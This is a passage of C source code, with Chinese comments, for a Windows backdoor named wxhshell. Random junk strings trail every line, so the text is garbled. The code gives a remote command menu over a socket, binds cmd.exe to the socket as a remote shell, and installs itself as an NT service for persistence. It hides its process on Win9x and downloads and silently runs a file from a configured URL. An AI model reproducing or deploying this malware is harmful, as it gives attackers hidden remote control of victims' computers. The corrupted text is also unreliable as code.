  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yb+A{`  
  } >7>I1  
  else { y+(\:;y$7  
k]@]a  
    switch(cmd[0]) { A;TP~xq\  
  y"q aa  
  // 帮助 [r/zBF-.  
  case '?': { &P?2H66s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j<<d A[X  
    break; FO2e7p^Q  
  } vQEV,d1  
  // 安装 1)(>'pY  
  case 'i': { -* ,CMw  
    if(Install()) $O%{l.-O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @[n#-!i  
    else rpT.n-H>%A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L80(9Y^xn  
    break; ~Bzzu % S  
    } p>B2bv+L  
  // 卸载 8 t5kou]h  
  case 'r': { 11=$] K>  
    if(Uninstall()) 'X?xn@?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xl\Kj2^  
    else $m4-^=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x)::^'74  
    break; g@`i7qN  
    } c5YPV"X  
  // 显示 wxhshell 所在路径 Q7s@,c!m_  
  case 'p': { W7>2&$  
    char svExeFile[MAX_PATH]; +<7Oj s>o  
    strcpy(svExeFile,"\n\r"); >d/H4;8  
      strcat(svExeFile,ExeFile); Gnkar[oa&  
        send(wsh,svExeFile,strlen(svExeFile),0); .Nn11F< d  
    break; 3z+l-QO8  
    } 6CY&pbR  
  // 重启 %=aKW[uq]  
  case 'b': { XIW0Z C   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S&-K!XyJ  
    if(Boot(REBOOT)) x;/LOa{LR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?E([Nc0T  
    else { P\jGyS j  
    closesocket(wsh); @]@|H?  
    ExitThread(0); _wq?Pa<)e  
    } " 9Gn/-V>  
    break; <S@jf4  
    } %**f`L%jN  
  // 关机 O`5,L[i1y  
  case 'd': { Gt`7i(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6\4-I^=B  
    if(Boot(SHUTDOWN)) N^Re  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ++0)KSvw  
    else { OK [J h  
    closesocket(wsh); 6%v9o?:~l  
    ExitThread(0); % Y^J''  
    } a{5SOe;;  
    break; >L7s[vKn  
    } COrk (V  
  // 获取shell Rr )+M3'  
  case 's': { Jz@~$L  
    CmdShell(wsh); ?8b19DMK6  
    closesocket(wsh); lPTx] =G  
    ExitThread(0); yeo&Qz2vU  
    break; P?54"$b  
  } +EETo):  
  // 退出 G.W !   
  case 'x': { 8t-GsjHb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ',+yD9 @  
    CloseIt(wsh); BrV{X&>[i  
    break; kx"1 0Vw  
    } &.?XntI9O  
  // 离开 m~=~DMj  
  case 'q': { $<}c[Nm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?e7]U*jEU  
    closesocket(wsh); a)qan  
    WSACleanup(); o5 L^  
    exit(1); F@w; .e!  
    break; MY&Jdmga  
        } Swi# ^i  
  } ($[wCHU`!  
  } RZ".?  
-fR :W{u  
  // 提示信息 }lJ;|kx$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hp\&g2_S0W  
} NxT"A)u  
  } tK#R`AQ  
K5""%O+  
  return; :{lwz#9V  
} JfY*#({y  
ZCiCZ)oc  
// shell模块句柄 \8`?ir q"  
int CmdShell(SOCKET sock) <xOv8IQ|  
{ wX$:NOO  
STARTUPINFO si; /ZLY@&M  
ZeroMemory(&si,sizeof(si)); xO~ ElzGm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jlEz]@ i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GD W@/oQr  
PROCESS_INFORMATION ProcessInfo; 'rQ"Dc1D  
char cmdline[]="cmd"; A'WR!*Yt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .g*j]!_]  
  return 0; bOS)vt*V  
} MK$u }G  
'M90Yia  
// 自身启动模式 D #ddx  
int StartFromService(void) QLA.;`HIE  
{ bz>X~   
typedef struct  {_rfhz  
{ $vO&C6m$  
  DWORD ExitStatus; {Kz,_bo  
  DWORD PebBaseAddress; -%K!Ra\W  
  DWORD AffinityMask; jmok]-pC  
  DWORD BasePriority; s27IeF3  
  ULONG UniqueProcessId; hsZ/Vnn`  
  ULONG InheritedFromUniqueProcessId; H}@:Bri  
}   PROCESS_BASIC_INFORMATION; L * n K> +  
=bVPHrKNQ  
PROCNTQSIP NtQueryInformationProcess;  >@ t  
C@rGa7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F MfpjuHk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Wboh2:TH:  
k4TWfl^}9  
  HANDLE             hProcess; D:)Wr, 26  
  PROCESS_BASIC_INFORMATION pbi; cs9^&N:w[  
JTlk[ c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IgT`on3Y  
  if(NULL == hInst ) return 0; &4#Zi.]  
[,%=\%5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l6viP}R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8xpplo8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xNP_>Qa~  
5En6f`nR{  
  if (!NtQueryInformationProcess) return 0; #el27"QP0  
iyskADS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s?SspuV  
  if(!hProcess) return 0; >4 OXG7.&f  
 ao(T81  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~MpikBf  
;"3B,Yj  
  CloseHandle(hProcess); k3\N.@\  
D}-.<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XQ}Zr/f6  
if(hProcess==NULL) return 0; Fsx?(?tCMo  
|(7}0]BP0  
HMODULE hMod; xQy,1f3s+  
char procName[255]; tAX* CMW  
unsigned long cbNeeded; rS8a/d~;0  
B.z$0=b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8v:{BHX  
?RRO  
  CloseHandle(hProcess); 8~=*\ @^  
y(A' *G9  
if(strstr(procName,"services")) return 1; // 以服务启动 "4j~2{{ F  
@@EI=\  
  return 0; // 注册表启动 gcLz}84  
} 'U@o!\=a  
(IJNBJb  
// 主模块 _|HhT^\P  
int StartWxhshell(LPSTR lpCmdLine) 1uF$$E6[  
{ Q YJ EUC@  
  SOCKET wsl; cHFi(K]|1  
BOOL val=TRUE;  8*ZsR)!  
  int port=0; rIb+c=|F  
  struct sockaddr_in door; Vej$|nF  
QFh1sb)]d)  
  if(wscfg.ws_autoins) Install(); O5\r%&$xd  
_z5/&tm_H  
port=atoi(lpCmdLine); q5'S<qY^  
I[Ra0Q>([k  
if(port<=0) port=wscfg.ws_port; T U%@_vYR  
OvdT* g=8*  
  WSADATA data; u\R?(G&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K}*ets1s}  
6iC>CY3CG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bbm\y] !t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5*0zI\  
  door.sin_family = AF_INET; jX53 owZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [^H2'&]  
  door.sin_port = htons(port); qA*~B'  
F_-Lu]*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j!;LN)s@?  
closesocket(wsl); 3f;=#|l  
return 1; <,d550GSm  
} 37AVk`a  
5>532X(0  
  if(listen(wsl,2) == INVALID_SOCKET) { 9+.wj/75  
closesocket(wsl); nhI+xqfn  
return 1; P<<$o-a"  
} #h5:b`fDF  
  Wxhshell(wsl); ~^t@TMk$  
  WSACleanup(); H DVimoOq  
bMH~vR  
return 0; {@Wv@H+4  
%idBR7?`g  
} 7Q 3!= b  
gLiJ&H  
// 以NT服务方式启动 6W1GvM\e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dBWny&  
{ WhPP4 #  
DWORD   status = 0; tRjv  -  
  DWORD   specificError = 0xfffffff; ] 5Cr$%H=  
_\!]MV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \j8vf0c5b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]TV_ p[L0B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'C+cQLig@  
  serviceStatus.dwWin32ExitCode     = 0; sEhvx +(  
  serviceStatus.dwServiceSpecificExitCode = 0; Mk! Fy]3  
  serviceStatus.dwCheckPoint       = 0; /qpSmRL  
  serviceStatus.dwWaitHint       = 0; h$S#fY8   
Y\xEPh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R|; BO:S1  
  if (hServiceStatusHandle==0) return; 1#vy# '  
G5ATR<0m  
status = GetLastError(); sqkWQ`Ur  
  if (status!=NO_ERROR) nep#L>LP$x  
{ ttP7-y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gt kV=V  
    serviceStatus.dwCheckPoint       = 0; ^W |YE72Y  
    serviceStatus.dwWaitHint       = 0; kUT2/3Vi  
    serviceStatus.dwWin32ExitCode     = status; X2w)J?pv  
    serviceStatus.dwServiceSpecificExitCode = specificError; X+vKY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I8H3*DE  
    return; ^z,3#gK  
  } ]xC56se  
hA=uoe\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y:G%p3h)[  
  serviceStatus.dwCheckPoint       = 0; ]uXJjS f  
  serviceStatus.dwWaitHint       = 0; 0B6!$) *-i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZR>BK,  
} V"Q\7,_k.  
+{UY9_~\3  
// 处理NT服务事件,比如:启动、停止 "ubp`7%67  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7Sdo*z  
{ Q_mphW:[  
switch(fdwControl) ;hj lRQ\  
{ ]jT}]9Q$  
case SERVICE_CONTROL_STOP: KsDS!O  
  serviceStatus.dwWin32ExitCode = 0;  ?kjQ_K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h nydH-;cz  
  serviceStatus.dwCheckPoint   = 0; *ug~LK5Y.  
  serviceStatus.dwWaitHint     = 0; v^"\e&XL  
  { E@VQxB7+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (s8b?Ol/  
  } J[/WBVFDf  
  return; OB>Hiy   
case SERVICE_CONTROL_PAUSE: S-t#d7'B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *-VRkS-G  
  break; eORXyh\K  
case SERVICE_CONTROL_CONTINUE: k1&9 bgI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ek +R  
  break; s$Vl">9#  
case SERVICE_CONTROL_INTERROGATE: Ni~IY# '  
  break; @yp0WB  
}; $8^Hk xy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /wD f,Hduz  
} bY_'B5$.^2  
C'R9Nn'  
// 标准应用程序主函数 qqDg2,Yb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z\ hcK:  
{ =v2 |QuS$  
;lObqs*?>  
// 获取操作系统版本 2|pTw5z~  
OsIsNt=GetOsVer(); I0XJ& P%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;m7V]h? R  
>$ q   
  // 从命令行安装 :a wt7lqv  
  if(strpbrk(lpCmdLine,"iI")) Install(); 17hoX4T  
ZTmy}@l  
  // 下载执行文件 s'HsLe0|  
if(wscfg.ws_downexe) { ljFq;!I5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d/_D|ivZ=  
  WinExec(wscfg.ws_filenam,SW_HIDE); ki1(b]rf  
} x0j5D  
P&`%VW3E  
if(!OsIsNt) { v9(5H Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 RZ6y5  
HideProc(); x*OdMr\n8?  
StartWxhshell(lpCmdLine); 9r%fBiSk  
} t]K20(FSN  
else oR#W@OK@is  
  if(StartFromService()) }:8}i;#M  
  // 以服务方式启动 o.KnDY  
  StartServiceCtrlDispatcher(DispatchTable); ]4aPn  
else s`yzeo  
  // 普通方式启动 w8lrpbLh  
  StartWxhshell(lpCmdLine); zx@!8Z  
ly[yn{  
return 0; WNR]GI  
}
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只看该作者 1 发表于: 2006-10-10
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